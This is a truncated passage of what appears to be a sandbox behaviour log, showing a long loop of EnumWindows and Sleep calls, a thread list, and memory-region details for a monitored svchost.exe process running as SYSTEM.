[0298.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.535] Sleep (dwMilliseconds=0x64) [0298.544] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.545] Sleep (dwMilliseconds=0x64) [0298.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.546] Sleep (dwMilliseconds=0x64) [0298.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.548] Sleep (dwMilliseconds=0x64) [0298.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.551] Sleep (dwMilliseconds=0x64) [0298.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.554] Sleep (dwMilliseconds=0x64) [0298.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.556] Sleep (dwMilliseconds=0x64) [0298.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.558] Sleep (dwMilliseconds=0x64) [0298.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.560] Sleep (dwMilliseconds=0x64) [0298.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.562] Sleep (dwMilliseconds=0x64) [0298.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.564] Sleep (dwMilliseconds=0x64) [0298.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.566] Sleep (dwMilliseconds=0x64) [0298.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.568] Sleep (dwMilliseconds=0x64) [0298.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.570] Sleep (dwMilliseconds=0x64) [0298.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.572] Sleep (dwMilliseconds=0x64) [0298.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.576] Sleep (dwMilliseconds=0x64) [0298.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.578] Sleep (dwMilliseconds=0x64) [0298.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.580] Sleep (dwMilliseconds=0x64) [0298.583] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.583] Sleep (dwMilliseconds=0x64) [0298.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.585] Sleep (dwMilliseconds=0x64) [0298.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.587] Sleep (dwMilliseconds=0x64) [0298.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.589] Sleep (dwMilliseconds=0x64) [0298.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.591] Sleep (dwMilliseconds=0x64) [0298.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.658] Sleep (dwMilliseconds=0x64) [0298.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.693] Sleep (dwMilliseconds=0x64) [0298.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.705] Sleep (dwMilliseconds=0x64) [0298.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.714] Sleep (dwMilliseconds=0x64) [0298.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.722] Sleep (dwMilliseconds=0x64) [0298.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.768] Sleep (dwMilliseconds=0x64) [0298.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.776] Sleep (dwMilliseconds=0x64) [0298.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.911] Sleep (dwMilliseconds=0x64) [0298.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.919] Sleep (dwMilliseconds=0x64) [0298.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.922] Sleep (dwMilliseconds=0x64) [0298.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.923] Sleep (dwMilliseconds=0x64) [0298.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.925] Sleep (dwMilliseconds=0x64) [0298.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.929] Sleep (dwMilliseconds=0x64) [0298.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.931] Sleep (dwMilliseconds=0x64) [0298.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.933] Sleep (dwMilliseconds=0x64) [0298.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.961] Sleep (dwMilliseconds=0x64) [0298.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.978] Sleep (dwMilliseconds=0x64) [0298.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0298.986] Sleep (dwMilliseconds=0x64) [0299.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.069] Sleep (dwMilliseconds=0x64) [0299.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.081] Sleep (dwMilliseconds=0x64) [0299.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.086] Sleep (dwMilliseconds=0x64) [0299.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.096] Sleep (dwMilliseconds=0x64) [0299.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.099] Sleep (dwMilliseconds=0x64) [0299.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.110] Sleep (dwMilliseconds=0x64) [0299.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.112] Sleep (dwMilliseconds=0x64) [0299.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.114] Sleep (dwMilliseconds=0x64) [0299.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.205] Sleep (dwMilliseconds=0x64) [0299.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.226] Sleep (dwMilliseconds=0x64) [0299.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.229] Sleep (dwMilliseconds=0x64) [0299.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.231] Sleep (dwMilliseconds=0x64) [0299.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.233] Sleep (dwMilliseconds=0x64) [0299.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.235] Sleep (dwMilliseconds=0x64) [0299.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.237] Sleep (dwMilliseconds=0x64) [0299.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.239] Sleep (dwMilliseconds=0x64) [0299.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.241] Sleep (dwMilliseconds=0x64) [0299.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.245] Sleep (dwMilliseconds=0x64) [0299.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.247] Sleep (dwMilliseconds=0x64) [0299.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.249] Sleep (dwMilliseconds=0x64) [0299.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.251] Sleep (dwMilliseconds=0x64) [0299.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.253] Sleep (dwMilliseconds=0x64) [0299.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.305] Sleep (dwMilliseconds=0x64) [0299.351] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.352] Sleep (dwMilliseconds=0x64) [0299.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.354] Sleep (dwMilliseconds=0x64) [0299.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.356] Sleep (dwMilliseconds=0x64) [0299.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.359] Sleep (dwMilliseconds=0x64) [0299.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.361] Sleep (dwMilliseconds=0x64) [0299.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.365] Sleep (dwMilliseconds=0x64) [0299.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.367] Sleep (dwMilliseconds=0x64) [0299.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.369] Sleep (dwMilliseconds=0x64) [0299.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.371] Sleep (dwMilliseconds=0x64) [0299.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.373] Sleep (dwMilliseconds=0x64) [0299.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.376] Sleep (dwMilliseconds=0x64) [0299.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.377] Sleep (dwMilliseconds=0x64) [0299.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.379] Sleep (dwMilliseconds=0x64) [0299.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.410] Sleep (dwMilliseconds=0x64) [0299.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.484] Sleep (dwMilliseconds=0x64) [0299.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.487] Sleep (dwMilliseconds=0x64) [0299.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.489] Sleep (dwMilliseconds=0x64) [0299.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.491] Sleep (dwMilliseconds=0x64) [0299.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.493] Sleep (dwMilliseconds=0x64) [0299.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.495] Sleep (dwMilliseconds=0x64) [0299.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.497] Sleep (dwMilliseconds=0x64) [0299.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.499] Sleep (dwMilliseconds=0x64) [0299.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.501] Sleep (dwMilliseconds=0x64) [0299.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.503] Sleep (dwMilliseconds=0x64) [0299.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.508] Sleep (dwMilliseconds=0x64) [0299.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.510] Sleep (dwMilliseconds=0x64) [0299.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.512] Sleep (dwMilliseconds=0x64) [0299.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.592] Sleep (dwMilliseconds=0x64) [0299.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.612] Sleep (dwMilliseconds=0x64) [0299.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.615] Sleep (dwMilliseconds=0x64) [0299.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.617] Sleep (dwMilliseconds=0x64) [0299.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.619] Sleep (dwMilliseconds=0x64) [0299.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.621] Sleep (dwMilliseconds=0x64) [0299.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.624] Sleep (dwMilliseconds=0x64) [0299.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.626] Sleep (dwMilliseconds=0x64) [0299.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.628] Sleep (dwMilliseconds=0x64) [0299.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.630] Sleep (dwMilliseconds=0x64) [0299.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.632] Sleep (dwMilliseconds=0x64) [0299.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.634] Sleep (dwMilliseconds=0x64) [0299.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.636] Sleep (dwMilliseconds=0x64) [0299.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.638] Sleep (dwMilliseconds=0x64) [0299.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.641] Sleep (dwMilliseconds=0x64) [0299.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.693] Sleep (dwMilliseconds=0x64) [0299.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.738] Sleep (dwMilliseconds=0x64) [0299.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.747] Sleep (dwMilliseconds=0x64) [0299.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.756] Sleep (dwMilliseconds=0x64) [0299.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.764] Sleep (dwMilliseconds=0x64) [0299.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.771] Sleep (dwMilliseconds=0x64) [0299.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.807] Sleep (dwMilliseconds=0x64) [0299.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.815] Sleep (dwMilliseconds=0x64) [0299.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.885] Sleep (dwMilliseconds=0x64) [0299.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0299.888] Sleep (dwMilliseconds=0x64) [0300.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.071] Sleep (dwMilliseconds=0x64) [0300.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.095] Sleep (dwMilliseconds=0x64) [0300.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.097] Sleep (dwMilliseconds=0x64) [0300.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.099] Sleep (dwMilliseconds=0x64) [0300.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.101] Sleep (dwMilliseconds=0x64) [0300.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.103] Sleep (dwMilliseconds=0x64) [0300.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.105] Sleep (dwMilliseconds=0x64) [0300.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.107] Sleep (dwMilliseconds=0x64) [0300.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.109] Sleep (dwMilliseconds=0x64) [0300.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.111] Sleep (dwMilliseconds=0x64) [0300.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.113] Sleep (dwMilliseconds=0x64) [0300.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.115] Sleep (dwMilliseconds=0x64) [0300.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.118] Sleep (dwMilliseconds=0x64) [0300.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.121] Sleep (dwMilliseconds=0x64) [0300.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.122] Sleep (dwMilliseconds=0x64) [0300.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.124] Sleep (dwMilliseconds=0x64) [0300.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.739] Sleep (dwMilliseconds=0x64) [0300.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.852] Sleep (dwMilliseconds=0x64) [0300.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0300.929] Sleep (dwMilliseconds=0x64) [0301.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0301.079] Sleep (dwMilliseconds=0x64) [0301.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0301.110] Sleep (dwMilliseconds=0x64) [0301.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0301.112] Sleep (dwMilliseconds=0x64) Thread: id = 60 os_tid = 0xf6c Thread: id = 149 os_tid = 0x1334 Thread: id = 150 os_tid = 0x318 Thread: id = 151 os_tid = 0x132c Thread: id = 153 os_tid = 0x12d0 Thread: id = 154 os_tid = 0x7c4 Thread: id = 155 os_tid = 0xc94 Thread: id = 156 os_tid = 0xffc Thread: id = 157 os_tid = 0x6b0 Thread: id = 158 os_tid = 0x137c Thread: id = 160 os_tid = 0x1378 Thread: id = 161 os_tid = 0x13b0 Thread: id = 162 os_tid = 0x1370 Thread: id = 170 os_tid = 0x5c4 Process: id = "4" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x76459000" os_pid = "0x35c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_scheduled_job" parent_id = "3" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a860" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1901 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1902 start_va = 0x20000 end_va = 0x21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1903 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1904 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1905 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1906 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1907 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1908 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1909 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1910 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1911 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1912 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1913 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1914 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1915 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 1916 start_va = 0x420000 end_va = 0x421fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 1917 start_va = 0x430000 end_va = 0x43ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1918 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1919 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1920 start_va = 0x460000 end_va = 0x470fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 1921 start_va = 0x480000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1922 start_va = 0x540000 end_va = 0x546fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1923 start_va = 0x550000 end_va = 0x550fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1924 start_va = 0x560000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 1925 start_va = 0x5e0000 end_va = 0x5e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1926 start_va = 0x5f0000 end_va = 0x5f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 1927 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1928 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 1929 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 1930 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 1931 start_va = 0x8b0000 end_va = 0x8b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 1932 start_va = 0x8c0000 end_va = 0x8c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 1933 start_va = 0x8d0000 end_va = 0x8d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1934 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1935 start_va = 0x8f0000 end_va = 0x8f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 1936 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 1937 start_va = 0xa00000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 1938 start_va = 0xb90000 end_va = 0xf8afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b90000" filename = "" Region: id = 1939 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1940 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1941 start_va = 0xfb0000 end_va = 0xfbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1942 start_va = 0xfc0000 end_va = 0xfcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1943 start_va = 0xfd0000 end_va = 0xfdffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1944 start_va = 0xfe0000 end_va = 0xfeffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1945 start_va = 0xff0000 end_va = 0xffffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1946 start_va = 0x1000000 end_va = 0x100ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1947 start_va = 0x1010000 end_va = 0x1054fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 1948 start_va = 0x1060000 end_va = 0x1061fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001060000" filename = "" Region: id = 1949 start_va = 0x1070000 end_va = 0x1076fff monitored = 1 entry_point = 0x0 